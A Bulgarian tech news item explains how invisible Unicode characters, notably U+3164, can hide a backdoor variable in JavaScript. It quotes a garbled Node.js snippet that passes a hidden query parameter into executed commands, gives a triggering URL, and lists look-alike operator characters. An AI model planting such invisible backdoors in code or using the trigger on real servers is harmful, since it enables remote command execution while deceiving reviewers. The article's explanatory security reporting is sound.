Следвайки метода за атака на Trojan Source, който се основава на използването на Unicode символи, които променят реда на показване на двупосочен текст, е публикувана друга техника за въвеждане на скрити действия, приложима към JavaScript код. Новият метод се основава на използването на символа Unicode “ㅤ” (код 0x3164, “HANGUL FILLER”), който принадлежи към категорията букви, но няма видимо съдържание. Категорията Unicode, към която принадлежи този знак, е разрешена от спецификацията на ECMAScript 2015 за използване в имена на променливи в JavaScript, което прави възможно създаването на невидими променливи или нови променливи, които са неразличими от други променливи в популярни редактори на кодове като Notepad++ и VS Code.
Като пример е даден кодът за платформата Node.js, в който с помощта на променлива, състояща се от един знак „ㅤ“, е скрита задна врата, която позволява изпълнението на кода, зададен от атакуващия: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // всъщност казва „const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // запетаята е последвана от знака \u3164 ];
На пръв поглед през външния параметър се предава само стойността на изчакване, а масивът с командите, които трябва да бъдат изпълнени, съдържа безвреден фиксиран списък. Но всъщност след променливата за изчакване се присвоява стойността на друга невидима променлива с кода на символа \u3164, която също се замества в масива от изпълними команди. По този начин, ако такъв дизайн е наличен, атакуващият може да изпрати заявка като „https://host:8080/network_health?%E3%85%A4=command“, за да активира задната врата и да изпълни своя код.
Друг пример е знакът "ǃ" (АЛВЕОЛАРНО ЩРАКВАНЕ), който може да се използва, за да изглежда, че показва удивителен знак. Например, изразът „if(environmentǃ=ENV_PROD){“, когато се изпълнява в Node.js 14, винаги ще бъде верен, тъй като не проверява за разлика, а присвоява стойността на ENV_PROD на променливата „environmentǃ“. Други подвеждащи уникод знаци включват "/", "−", "+", "⩵", "❨", "⫽", "꓿" и "∗".
Източник: opennet.ru
